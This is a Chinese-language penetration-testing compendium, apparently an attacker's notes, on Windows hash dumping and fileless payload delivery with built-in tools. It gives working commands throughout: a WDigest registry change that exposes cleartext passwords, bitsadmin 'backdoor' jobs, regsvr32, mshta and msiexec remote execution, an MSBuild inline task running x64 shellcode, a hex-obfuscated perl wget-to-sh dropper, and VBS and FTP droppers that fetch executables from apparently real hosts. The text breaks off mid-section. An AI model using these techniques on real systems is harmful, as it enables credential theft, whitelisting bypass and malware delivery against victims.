https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E4%BB%8EAdmin%E6%9D%83%E9%99%90%E5%88%87%E6%8D%A2%E5%88%B0System%E6%9D%83%E9%99%90/
https://www.secpulse.com/archives/66084.html
https://www.secpulse.com/archives/73178.html

0x9:HASH Dump

1. 启用 WDigest UseLogonCredential 注册表项

在Windows 8.1和Windows Server 2012 R2之前,Wdigest已启用,它将用户的“明文”密码放在LSASS内存空间中,以支持基本的身份验证方案.Windows 8.1和Windows Server 2012 R2及更高版本的WDigest默认禁用,通过添加并设置以下注册表项:

reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest" /v UseLogonCredential /t REG_DWORD /d 1

该注册表键值设置为1后,系统允许将登录凭据以明文形式存储在 LSA 内存中,这样就可以从内存获得登录凭据。

Relevant Link:

http://www.4hou.com/technology/3452.html
http://www.91ri.org/15178.html

 

2. 恶意文件下载 && 运行

整体上对于黑客来说,我们要寻找的操作系统功能或者特性有如下共同点:

1. 可以执行任意代码 
2. 可以在一个远程服务器上下载payload 
3. 可以实现代理(option)
4. 尽可能使用标准化、广泛部署的Microsoft二进制文件:目的是让这个命令行工具可以不加修改在较多的系统上执行
5. EDR友好
6. 仅仅在内存中驻留(而不用写入硬盘): 因为如果恶意代码写入硬盘中的话,很容易被杀毒软件识别
7. 同时具备下载和启动执行的能力

第6条比较难做到,因为绝大多数情况下,下载回来的文件都会在本地保存一段时间:

1. 通过HTTP下载对象的本地缓存就是IE的本地缓存,存在于以下位置之一
    1) C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary \Internet Files\    
    2) C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCacheIE\<subdir>

2. 另一方面,通过指向WebDAV服务器UNC路径访问的文件将保存在WebDAV客户端本地缓存中,存放路径如下 
    1) C:\Windows\Service\Profiles\Local\Service\AppData\Local\Temp\Tfs\Store\Tfs_DAV
# 使用UNC路径指向托管有效内容的WebDAV服务器时,要记住一点,只有在WebClient服务启动后才能使用该路径。 如果该服务没有启动,为了让低权限的用户可以启动它,只需在命令行之前加上“pushd webdavserver & popd”即可

概括来说,从远程下载一个payload文件的方式有以下几个方向:

1. 命令本身可以接受一个HTTP URL/UNC路径(指向一台WebDAV服务器)作为其中一个参数,命令本身具备解析并下载URL对应payload文件的能力;
2. 命令能够执行一个小型的内联脚本(由脚本负责完成下载任务,以及其他恶意逻辑);

0x1:基于bitsadmin实现文件下载及运行

BITS,全称 Background Intelligent Transfer Service (翻译为后台智能传输服务),是一个 Windows 组件,它可以在前台或后台异步传输文件,为保证其他网络应用程序获得响应而调整传输速度,并在重新启动计算机或重新建立网络连接之后自动恢复文件传输,常用于 Windows Update, SUS, SMS 以及其他第三方包的安装更新。
Bitsadmin,是一个命令行工具,可用于创建下载或上载作业并监视其进度。
自Win7开始系统默认包含,也可通过powershell调用,名称为BITS cmdlets
在渗透测试中,常见的应用方法有以下几种:

1. 直接自动下载并保存 - bitsadmin /Transfer - 普通cmd权限

相关命令行选项如下

#!bash
bitsadmin /Transfer Name [Type] [/Priority Job_Priority] [/ACLFlags Flags] <RemoteFileName> <LocalFileName>



Name:       
                The name of the job.
Type:       
                Optional—specify the type of job. Use /Download for a download job or /Upload for an upload job.
Priority:   
                Optional— set the job_priority to one of the following values:
                FOREGROUND
                HIGH
                NORMAL
                LOW
ACLFlags:
                Specify one or more of the following flags:
                O: Copy owner information with file. 
                G: Copy group information with file. 
                D: Copy DACL information with file. 
                S: Copy SACL information with file. 
RemoteFileName:
                The name of the file when transferred to the server
LocalFileName:
                The name of the file that resides locally.

普通cmd权限可执行执行

bitsadmin /transfer n http://download.sysinternals.com/files/PSTools.zip C:\Users\Administrator\Downloads\PSTools.zip 
bitsadmin /transfer n http://download.sysinternals.com/files/PSTools.zip C:\Users\Administrator\Desktop\poc\PSTools.zip 

2. 创建一个计划任务定时启动文件下载并执行 - admin管理员权限

1. 创建一个下载任务: bitsadmin /create backdoor
2. 添加文件(添加一个任务): bitsadmin /addfile backdoor https://github.com/3gstudent/Javascript-Backdoor/archive/master.zip C:\Users\Administrator\Desktop\poc\jsrat.zip
3. 设置下载成功后要执行的命令(一般情况是下载完后启动): bitsadmin.exe /SetNotifyCmdLine backdoor "%COMSPEC%" "cmd.exe /c bitsadmin.exe /complete \"backdoor\" && start /B C:\Users\Administrator\Desktop\poc\jsrat.zip" 
4. 开启下载任务: bitsadmin /Resume backdoor

执行上述命令,等待下载完成后,自动打开jsrat.zip文件

下载任务完成,当前下载任务重置为0

Relevant Link:

http://www.cnblogs.com/gayhub/p/6517655.html

0x2:基于regsvr32下载JS Script代码并借助activeX组件函数方法执行代码

regsvr32.exe用于注册Windows操作系统的动态链接库和ActiveX控件。

regsvr32.exe /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll
# regsrv32指令选项:
/s 静默执行
/n 指定不调用DllRegisterServer,此选项必须与/i共同使用
/i 调用DllInstall将它传递到可选的[cmdline],在与 /u 共同使用时,它调用DllUnstall
/u 反注册控件

# 访问远程http文件需要较长时间,甚至可能会下载失败,我们也可以把sct文件提前植入磁盘上,然后调用regsvr32.exe进行启动
regsvr32.exe /u /s /i:./calc.sct scrobj.dll

calc.sct

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Empire"
    progid="Empire"
    version="1.00"
    classid="{20001111-0000-0000-0000-0000FEEDACDC}"
    >
    <!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->
    <!-- regsvr32 /s /i:http://server/Backdoor.sct scrobj.dll -->
    <!-- That should work over a proxy and SSL/TLS... -->
    <!-- Proof Of Concept - Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
    
            var r = new ActiveXObject("WScript.Shell").Run("calc.exe");    
    
        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
    
    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }
    
]]>
</script>

</scriptlet>

这里值得注意的是

1. regsvr32是一个windows命令行组件,它受windows操作系统信任,因此可以将regsvr32作为一个“proxy aware”去执行任意指令而绕过AppLocker
2. 同时regsvr32支持TLS加密、http redirect跳转等优势
3. 使用regsvr32执行远程http sct文件不会产生落盘文件 

0x3:PowerShell File Download

关于powershell的攻击方式的讨论,请参阅这篇文章。

$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file" "C:\%homepath%\file")

0x4:Visual Basic File Download

# 1.vbs
cmd  /c \"taskkill /f  /im wscript.exe&taskkill /f  /im cscript.exe&echo Set psp = CreateObject(\"Msxml2.XMLHTTP\") > vbsxz.vbs&echo set ws=WScript.CreateObject(\"WScript.Shell\") >> vbsxz.vbs&echo psp.Open \"GET\",\"http://ym23322.f3322.net:8089/gj1jk.exe\",0 >> vbsxz.vbs&echo psp.Send() >> vbsxz.vbs&echo Set aGet = CreateObject(\"ADODB.Stream\") >> vbsxz.vbs&echo aGet.Mode = 3 >> vbsxz.vbs&echo aGet.Type = 1 >> vbsxz.vbs&echo aGet.Open() >> vbsxz.vbs&echo aGet.Write(psp.responseBody) >> vbsxz.vbs&echo aGet.SaveToFil

0x5:Perl File Download

perl几乎是linux系统默认安装的脚本解释引擎,使用perl进行payload投递适配型非常稳定。

1. perl -e 命令行直接执行

perl -e use warnings;use strict; my($cmd, $plm) = (\"wget -qO - http://\\x36\\x35\\x2E\\x32\\x35\\x34\\x2E\\x36\\x33\\x2E\\x320/a | sh ; curl -O http://\\x36\\x35\\x2E\\x32\\x35\\x34\\x2E\\x36\\x33\\x2E\\x320/a ; sh a ; rm -rf a\", \"httpd.conf\") ; if (`ps x|grep $plm|grep -v grep` ) {print \"merge\\n\";} else {`$cmd &`};

2. 写入到 .pl 文件中解析执行

0x6:Python File Download

1. 写入到 .py 文件中解析执行

#!python
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('https://pastebin.com/raw/EBPsTBLt')
localFile = open('EBPsTBLt.txt', 'w')
localFile.write(u.read())
localFile.close()

2. python -c 命令行直接执行

和perl一样,python也支持命令行直接eval执行。

python -c "import urllib2; u = urllib2.urlopen('https://pastebin.com/raw/EBPsTBLt'); localFile = open('EBPsTBLt.txt', 'w'); localFile.write(u.read()); localFile.close();"

0x7:Ruby File Download

Ruby是一个面对对象的语言,Metasploit框架就是用它来实现的,当然他也可以实现像下载文件这样的任务。

#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("https://pastebin.com/raw/EBPsTBLt") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}

0x8:PHP File Download

#!/usr/bin/php
<?php
        $data = @file("http://example.com/file");
        $lf = "local_file";
        $fh = fopen($lf, 'w');
        fwrite($fh, $data[0]);
        fclose($fh);
?>

0x9:FTP File Download

通过FTP下载文件需要完成一系列交互动作,黑客一般选择将所有代码打包在一个bat文件中,自动化批量执行。

cmd /c echo open ftp.ftp0118.info>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\\windows\\help\\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps

0x10:Netcat File Download

黑客可借助nc直接实现文件流的下载。
攻击者的电脑上输入:

cat 1.pl | nc -l 1234

这个命令会将file的内容输出到本地的1234端口中,然后不论谁连接此端口,file的内容将会发送到连接过来的IP。
目标电脑上的命令:

nc 112.124.118.108 1234 > file

这条命令将连接攻击者的电脑,接受file内容保存。

0x11:通过NET USE建立IPC通道从远程共享服务器下载文件

net use z: \\IP\c$ "密码" /user:"帐号" 将对方的c盘映射为自己的z盘  

0x12:Exe to Txt, and Txt to Exe

当需要把一个exe文件放到目标计算机上时,我们可以先将其转换为txt,并通过网络传输或文件上传到目标机器上,然后再在目标机器转换为二进制流形式。

可以借助Nishang这个toolkits完成hex to ascii转换

.\ExetoText.ps1 .\notepad.exe .\notepad.txt

.\TexttoExe.ps1 .\notepad.txt .\notepad.txt.exe

0x13:通过目标机器上的本地compiler编译器即时编译源代码

在目标机器上已经安装的编程语言环境也可以充分利用起来,通过上传恶意程序源代码到目标机器,利用目标机器的compiler去即时编译。

1. .NET Csc.exe to Compile Source from a File

以下几种方法的区别在于.NET C#编译出的程序类型不同,但它们都有一个共同点,都是基于windows系统正常功能(常常伴随一些系统组件的注册/卸载功能),通过在指定的框架回调函数中插入恶意代码(类似nginx插件中回调函数插入backdoor代码),实现在调用系统正常注册/卸载过程中,执行我们指定的额外逻辑。

csc.exe是微软.NET Framework 中的C#编译器,Windows系统中默认包含,可在命令行下将cs文件编译成exe。

1)编译普通C#源代码

C的编译器(CSC)是包含在在Windows微软.NET安装中的命令行编译器。

public class Evil
{
   public static void Main()
   {
      System.Diagnostics.Process process = new System.Diagnostics.Process();
      System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); 
      startInfo.FileName = "cmd.exe";
      startInfo.Arguments = "/C net users";
      process.StartInfo = startInfo;
      process.Start();

      System.Console.ReadLine();
   }
}

也可以用echo指令进行在和投递,

echo using System.Net;class WebDL { static void Main(string[] args){System.Net.WebClient client = new WebClient();client.DownloadFile(args[0],args[1]);}} > c:\windows\temp\dl.cs

执行编译指令:

# Use CSC.EXE to compile C# code stored in File.cs and output the compiled version to My.exe.
csc.exe -out:My.exe File.cs
c:\windows\microsoft.net\framework\v3.5\csc /out:c:\windows\temp\dl.exe c:\windws\temp\dl.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:C:\Users\Administrator\Downloads\poc\evil.exe C:\Users\Administrator\Downloads\poc\evil.cs

# Use CSC.EXE to compile C# code stored in File.cs and output the compiled version to a dll file.
csc -target:library File.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:C:\Users\Administrator\Downloads\poc\Regasm.dll /keyfile:C:\Users\Administrator\Downloads\poc\key.snk C:\Users\Administrator\Downloads\poc\Regasm.cs

2)通过Automation调用powershell

powershell是基于.Net框架的,powershell.exe只是命令行方式的一种实现,本质是对System.Management.Automation.dll的封装,我们可以直接在C#代码中通过Automation实现powershell的调用。

using System;
using System.Management;
using System.Management.Automation;

namespace Powershell {
    class Program { 
        static void Main(string[] args) { 
            PowerShell ps = PowerShell.Create();

            ps.AddCommand("Invoke-Expression");

            ps.AddArgument("net user");

            ps.Invoke(); 
        }

    }

} 

3)编译windows组件注册框架代码

InstallUtil是一个经过签名的windows组件安装程序(用于安装系统新组件),利用模板(框架代码)如下

using System;
using System.Management.Automation;

namespace Whitelist { 
    class Program { 
        static void Main(string[] args) {
        }
    } 
}

[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer { 
    
    //The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary. 
    public override void Uninstall(System.Collections.IDictionary savedState) { 
        PowerShell ps = PowerShell.Create();

        ps.AddCommand("Invoke-Expression");

        ps.AddArgument("payload");

        ps.Invoke();
    } 
} 

编译得到的二进制程序是一个可以被windows组件安装程序(InstallUtil.exe)执行的程序。

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe  /unsafe /platform:x64 /out:InstallUtil.exe InstallUtil.cs

执行卸载例程,即触发源代码里我们指定的uninstall回调函数(payload同时即被执行)

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /U InstallUtil.exe

4)编译COM组件注册框架代码

Regasm与Regsvcs均为.Net框架程序集注册工具,我们可以通过.NET编译出一个COM组件的框架代码,并在特定回调函数中插入我们的额外逻辑(例如powershell),实现恶意代码植入的目的,利用模板如下

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
using System.Management.Automation;

namespace regsvcser { 
    public class Bypass : ServicedComponent { 

        public Bypass() { Console.WriteLine("I am a basic COM Object"); }

        [ComUnregisterFunction] //This executes if registration fails 
        public static void UnRegisterClass ( string key ) {

            PowerShell ps = PowerShell.Create();

            ps.AddCommand("net user"); 

            ps.Invoke();

        }

    }
}

.NET编译COM DLL还需要一个key文件,可以借助.NET自身的工具集来生成:"C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\x64 Native Tools Command Prompt for VS 2017"

sn –k key.snk

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:C:\Users\Administrator\Downloads\poc\Regasm.dll /keyfile:C:\Users\Administrator\Downloads\poc\key.snk C:\Users\Administrator\Downloads\poc\Regasm.cs

通过csc.exe编译为dll组件,之后通过传入给regasm(或regasm) /U 参数执行卸载例程

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U C:\Users\Administrator\Downloads\poc\Regasm.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U C:\Users\Administrator\Downloads\poc\Regasm.dll 

2. 利用MSbuild编译源代码

MSBuild是微软提供的一个用于构建应用程序的平台,它以XML架构的项目文件来控制平台如何处理与生成软件。Visual Studio会使用MSBuild,但MSBuild并不依赖Visual Studio,可以在没有安装VS的系统中独立工作。
按照微软的定义,XML架构的项目文件中可能包含属性、项、任务、目标几个元素,其中的任务元素中可以包含一些常见的操作,比如复制文件或创建目录,甚至编译执行写入其中的C#源代码。

1)通过指定Target标签指定内置任务,在其中插入C#代码

<?xml version="1.0" encoding="utf-8" ?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="PrintCurrentDateTime">
    <Message Text="The current date and time is: $([System.DateTime]::Now)." />
  </Target>
</Project>

保存为test.csproj

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Users\Administrator\Downloads\poc\test.csproj

2)通过指定Target标签指定内置任务对应的源代码文件,将恶意代码放置在另外的C#源代码文件中

hello.cs

using System;
class Test
{
    static void Main()
    {
        Console.WriteLine("Hello world");
    }
}

hello.csproj

<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
    <Target Name="Compile">
        <CSC Sources="hello.cs" OutputAssembly="hello.exe" />
    </Target>
</Project>

hello.cs和hello.csproj放于同一目录

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Users\Administrator\Downloads\poc\hello.csproj

注意:编译文件满足xml文件格式即可,后缀名任意

3) 通过.NET Framework 4.0中新支持的”Inline Tasks”,在UsingTask元素中插入C#代码

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
   <HelloWorld />
  </Target>
  <UsingTask
    TaskName="HelloWorld"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />  
      <Code Type="Fragment" Language="cs">
        <![CDATA[
                Console.WriteLine("Hello World! hacked by littlehann!");       
        ]]>
      </Code>
    </Task>
    </UsingTask>
</Project>

UsingTask.txt(文件名/后缀任意)

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Users\Administrator\Downloads\poc\UsingTask.txt

著名的APT组织海莲花就使用过该方法进行powershell恶意代码植入。

也可以利用该方法执行shellcode,本质上还是C#代码

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes x64 shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee --> 
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {         
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );          
          public override bool Execute()
          {
            byte[] shellcode = new byte[276] {
              0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
              0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
              0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
              0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
              0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
              0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
              0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
              0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
              0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
              0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
              0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
              0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
              0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
              0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
              0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
              0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
              0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
              0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
              0x63,0x2e,0x65,0x78,0x65,0x00 };
              
              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          } 
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Relevant Link:

http://www.freebuf.com/articles/system/154947.html 
https://msdn.microsoft.com/en-us/library/dd722601.aspx?f=255&MSPPError=-2147217396
https://www.anquanke.com/post/id/84597

0x14:借助windows installer安装包植入程序

1. 上传msi文件,本地启动

msiexec是系统进程,是Windows Installer的一部分,用于安装Windows Installer安装包(MSI)。一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大。系统自带

Windows ® Installer. V 5.0.14393.0

msiexec /Option <Required Parameter> [Optional Parameter]

安装选项
    </package | /i> <Product.msi>
        安装或配置产品
    /a <Product.msi>
        管理安装 - 在网络上安装产品
    /j<u|m> <Product.msi> [/t <Transform List>] [/g <Language ID>]
        公布产品 - m 公布到所有用户,u 公布到当前用户
    </uninstall | /x> <Product.msi | ProductCode>
        卸载产品
显示选项
    /quiet
        安静模式,无用户交互
    /passive
        无人参与模式 - 只显示进度栏
    /q[n|b|r|f]
        设置用户界面级别
        n - 无用户界面
        b - 基本界面
        r - 精简界面
        f - 完整界面(默认值)
    /help
        帮助信息
重新启动选项
    /norestart
        安装完成后不重新启动
    /promptrestart
        必要时提示用户重新启动
    /forcerestart
        安装后始终重新启动计算机
日志选项
    /l[i|w|e|a|r|u|c|m|o|p|v|x|+|!|*] <LogFile>
        i - 状态消息
        w - 非致命警告
        e - 所有错误消息
        a - 操作的启动
        r - 操作特定记录
        u - 用户请求
        c - 初始用户界面参数
        m - 内存不足或致命退出信息
        o - 磁盘空间不足消息
        p - 终端属性
        v - 详细输出
        x - 额外调试信息
        + - 扩展到现有日志文件
        ! - 每一行刷新到日志
        * - 记录所有信息,除了 v 和 x 选项
    /log <LogFile>/l* <LogFile> 相同
更新选项
    /update <Update1.msp>[;Update2.msp]
        应用更新
    /uninstall <PatchCodeGuid>[;Update2.msp] /package <Product.msi | ProductCode>
        删除产品的更新
修复选项
    /f[p|e|c|m|s|o|d|a|u|v] <Product.msi | ProductCode>
        修复产品
        p - 仅当文件丢失时
        o - 如果文件丢失或安装了更旧的版本(默认值)
        e - 如果文件丢失或安装了相同或更旧的版本
        d - 如果文件丢失或安装了不同版本
        c - 如果文件丢失或较验和与计算的值不匹配
        a - 强制重新安装所有文件
        u - 所有必要的用户特定注册表项(默认值)
        m - 所有必要的计算机特定注册表项(默认值)
        s - 所有现有的快捷键方式(默认值)
        v - 从源运行并重新缓存本地安装包
设置公共属性
    [PROPERTY=PropertyValue]

请查阅 Windows (R) Installer SDK 获得有关命令行语法的其他文档。

版权所有 (C) Microsoft Corporation. 保留所有权利。
此软件的部分内容系基于 Independent JPEG Group 的工作。

我们可将要植入的恶意程序打包制作为一个 .msi 文件

我们使用metasploit来生成包含payload的msi安装包程序,MSF为了能够让payload可扩展,生成msi文件的方式如下:

msfvenom -f msi -p windows/exec CMD=calc.exe>test.msi

运行后生成test.msi
双击可以直接安装,如图,弹出计算器

等价于在命令行下执行如下命令:

msiexec /i test.msi

同时会弹出安装的对话框,可以使用/q参数来隐藏安装界面

msiexec /q /i test.msi

值得注意的是弹出cmd的路径为:c:\windows\installer\MSI3646.tmp

msi install过程中释放的文件总共有5个:

其中65f7bb69.msi就是我们生成的msi文件的拷贝。

关闭启动的进程(关闭msi安装程序)后,其他文件会被删除,只留下.tmp文件,记录了安装日志。

2. 远程下载执行msi文件

将自己开发的msi文件上传到服务器,通过如下命令远程执行:

msiexec /q /i https://raw.githubusercontent.com/3gstudent/test/master/test3.msi

0x15:mshta

1. 执行内嵌html代码

# 执行vbscript代码
mshta vbscript:msgbox("hacked by littlehann!",64,"notice")(window.close) 
mshta vbscript:CreateObject("Wscript.Shell").popup("hacked by littlehann!",7,"notice",64)(window.close) 
mshta vbscript:execute("msgbox ""hacked by littlehann!"":window.close") 

# 执行jscript代码
mshta javascript:window.execScript("alert('hello world!');","javascript") 

2. 解析执行html网页response

mshta支持http和htpps,但mshta在执行hta脚本时,类似于浏览器,会根据链接返回头进行对应的解析操作,所以这里只有当返回头指定类型为html时才会运行,否则会被当普通文本进行解析。
例如对于github的代码,返回的格式为text/plain,如果使用如下命令执行:

mshta https://raw.githubusercontent.com/3gstudent/test/master/calc.hta

会把代码当成text,无法解析成html,导致脚本无法执行

但是我们可以换一个思路,将hta文件传到github的博客下面,就能够被解析成html(本质上可以用任何方法,只要webserver返回的content-type是text/html即可),实现代码执行

mshta https://3gstudent.github.io/test/calc.hta

Relevant Link:

https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/ 
http://www.freebuf.com/articles/terminal/135391.html 
http://rewtdance.blogspot.co.uk/2013/03/metasploit-msi-payload-generation.html
http://www.forensicswiki.org/w/images/5/5b/Compdocfileformat.pdf
http://drops.xmd5.com/static/drops/tips-2420.html
https://xianzhi.aliyun.com/forum/topic/1649

0x16:利用系统原生组件加载DLL

1. odbcconf

ODBCCONF.exe是一个命令行工具,它允许您配置ODBC驱动程序和数据源名称,同时它的功能中允许我们指定特殊结构的DLL,来相应动作,这给黑客带来了指令执行的机会。

# odbcconf-x64.dll中主要是创建一个交互式的PowerShell。
odbcconf.exe /s /A {REGSVR odbcconf-x64.dll} 

# 不一定需要.dll的后缀名文件。
odbcconf.exe /s /A {REGSVR odbcconf-x64.txt} 

# odbcconf.config的内容填写我们希望加载的DLL文件 
odbcconf.exe /s /F odbcconf.config(后缀名可以随意) 
odbcconf.exe /S /Lv odbcconf.log /F C:\Windows\system32\redist.rsp 

# Load DLL specified in target .RSP file. See the Playloads folder for an example .RSP file. 
odbcconf -f file.rsp 

# Execute DllREgisterServer from DLL specified. 
odbcconf /a {REGSVR c:\test\test.dll} 

Relevant Link:

https://github.com/ssssanr/odbcconf-exec
https://zhuanlan.zhihu.com/p/23535430
https://github.com/ssssanr/odbcconf-exec

2. use tracker to load dll

Tracker.exe is used to start a process and inject FileTracker.dll into it just after creation. The file accesses of the target process are tracked, and written to a .tlog file

需要目标机器上安装了SDK才会有该程序

Tracker.exe [选项] [@跟踪器响应文件] /c [命令行]
 /d 文件.dll                : 使用跟踪 dll 文件.dll 启动进程。(默认值: 通过 PATH 提供的 FileTracker.dll)
 /i[f] <路径>               :  用于跟踪日志输出的中间目录。(使用 /if 可立即将路径展开为完整路径)(默认值: 所跟踪进程中的当前目录)
 /o                         : 对每个文件执行跟踪操作
 /m                         : 在跟踪日志中包含缺少的文件,即在进程关闭之前删除的那些文件
 /u                         : 不从跟踪日志中删除重复的文件操作
 /t                         : 跟踪命令行(将展开使用“@文件名”语法指定的响应文件)
 /a                         : 启用扩展跟踪: GetFileAttributes、GetFileAttributesEx
 /e                         : 启用扩展跟踪: GetFileAttributes、GetFileAttributesEx、RemoveDirectory、CreateDirectory
 /k                         : 在跟踪日志文件名中保留完整的工具链
 /r 文件 1;文件 2;..;文件 n : 正在跟踪的主要根输入文件(默认值: 无)
 /c [命令行]                : 要跟踪的命令(必须是最后一个参数)
 /?                         : 本帮助文本

dll需要实现基本的接口函数

#include "stdafx.h"
#include <windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
           )
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    MessageBox(NULL,L"testexport", L"testexport",MB_OK);
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

cmd下运行:

Tracker.exe /d test.dll /c cmd.exe

这个技巧有如下特点:

1. tracker.exe包含微软数字签名,可绕过应用程序白名单的限制
2. tracker.exe可以在启动进程的同时加载dll
3. 如果只限注入dll,可以通过一个特殊的进程来解决这个问题,如svchost.exe,那么在加载dll后,进程svchost.exe可以自动退出,这就实现了通过tracker.exe加载dll

Relevant Link:

https://zhuanlan.zhihu.com/p/25059752

0x17:利用第三方程序执行系统指令

1. FTP

# 指定包含 FTP 命令的文本文件;命令
ftp -s:filename

通过可用该方法完成实现远程文件的下载

# ftp指令
